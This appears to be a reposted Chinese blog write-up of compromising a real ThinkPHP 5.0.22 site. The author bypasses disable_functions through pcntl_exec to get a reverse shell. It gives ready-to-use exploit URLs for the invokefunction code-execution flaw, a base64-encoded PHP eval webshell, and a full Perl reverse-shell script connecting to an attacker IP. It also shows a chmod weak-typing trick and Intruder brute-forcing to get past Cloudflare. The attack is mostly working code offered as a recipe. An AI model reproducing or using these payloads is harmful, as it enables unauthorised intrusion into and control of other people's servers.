記一次在tp5代碼執行下的pcntl_exec瞎操作


0x00 已知條件
tp 5 路由代碼執行
php 7.3.9,thinkphp 5.0.22 linux
有cloudflare
disable_function禁用以下函數
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server

發現沒有pcntl_exec在里面,而且pcntl_exec開啟

 

 open_basedir限制

/home/wwwroot/example/:/tmp/:/proc/:/home/wwwroot/

根目錄

/home/wwwroot/example/

包含函數失效(千奇百怪)

think\__include_file
think\__require_file

 

0x01 突破

直接寫php會寫不進去,用php://filter base64encode包裝一下寫入,file_input_contents寫php,發現public目錄下沒有任何可寫目錄,只有runtime和/tmp/目錄下有寫權限,php寫進去了,但是沒辦法執行

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/home/wwwroot/example/s.php&vars[1][]=PD9waHAKQGV2YWwoJF9HRVRbJ3IwMCddKTsKcmV0dXJuIFsnYXBwX2luaXQnICAgICA9PiBbXSwnYXBwX2JlZ2luJyAgICA9PiBbXSwnbW9kdWxlX2luaXQnICA9PiBbXSwnYWN0aW9uX2JlZ2luJyA9PiBbXSwndmlld19maWx0ZXInICA9PiBbXSwnbG9nX3dyaXRlJyAgICA9PiBbXSwnYXBwX2VuZCcgICAgICA9PiBbXTsKPz4=
嘗試直接用pcntl_exec執行命令
一直接傳命令的方式,會被cloudflare攔截
二嘗試用文件的方式執行,pcntl_exec反彈shell腳本
#!/usr/bin/perl -w
#

use strict;    
use Socket;
use IO::Handle;

my $remote_ip = 'xxx.xxx.xx.xx';
my $remote_port = '12345';

my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
my $shell = '/bin/sh -i';
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
system($shell);
close SOCK;
exit 0;

寫入perl腳本到tmp目錄,url編碼一下,防止+號失效

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/tmp/ss1.perl&vars[1][]=IyEvdXNyL2Jpbi9wZXJsIC13CiMKCnVzZSBzdHJpY3Q7ICAgIAp1c2UgU29ja2V0Owp1c2UgSU86OkhhbmRsZTsKCm15ICRyZW1vdGVfaXAgPSAnMTE5LjI5LjEuNDgnOwpteSAkcmVtb3RlX3BvcnQgPSAnMTIzNDUnOwpteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgidGNwIik7Cm15ICRwYWNrX2FkZHIgPSBzb2NrYWRkcl9pbigkcmVtb3RlX3BvcnQsIGluZXRfYXRvbigkcmVtb3RlX2lwKSk7Cm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsKc29ja2V0KFNPQ0ssIEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pOwpTVERPVVQtPmF1dG9mbHVzaCgxKTsKU09DSy0%2bYXV0b2ZsdXNoKDEpOwpjb25uZWN0KFNPQ0ssJHBhY2tfYWRkcikgb3IgZGllICJjYW4gbm90IGNvbm5lY3Q6JCEiOwpvcGVuIFNURElOLCAiPCZTT0NLIjsKb3BlbiBTVERPVVQsICI%2bJlNPQ0siOwpvcGVuIFNUREVSUiwgIj4mU09DSyI7CnN5c3RlbSgkc2hlbGwpOwpjbG9zZSBTT0NLOwpleGl0IDA7
chmod 沒法設置權限,默認沒有執行權限,chmod第二個參數只能傳八進制,但這里只能傳字符串。但可以利用弱類型自動轉換來
傳入

 

 

字符串511-》十進制511 等同於八進制0755

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=chmod&vars[1][]=/tmp/ss1.perl&vars[1][]=511 

執行命令

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=pcntl_exec&vars[1][]=/tmp/ss1.perl

由於有cdn,可能沒生成成功,用intruder爆破批量生成維持一下,成功反彈shell

 

 

 

0x02 后續

反彈shell之后看了一下,發現根本沒有public目錄,這個/home/wwwroot/example就是根目錄,很明顯之前腦子出問題了
runtime目錄是可以直接訪問的,static/img目錄下也是有權限的,直接利用file_input_contents寫進去就完事了

 

 因為cdn的問題,會訪問不了,用intruder 設置null payloads批量生成一下,訪問getshell

 

 0x03 總結

 
拿下才發現,其實早之前就可以getshell了,之前已經寫shell到runtime了,因為誤判以為runtime目錄訪問不到,加上cdn的佐證,一直想着包含getshell,但包含不了。最后走上了pcntl_exec這條不歸路
才導致后續這一系列瞎操作,但通過pcntl_exec反彈shell還是很香的,在web目錄限制沒有辦法訪問shell或者沒地方寫入的時候

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM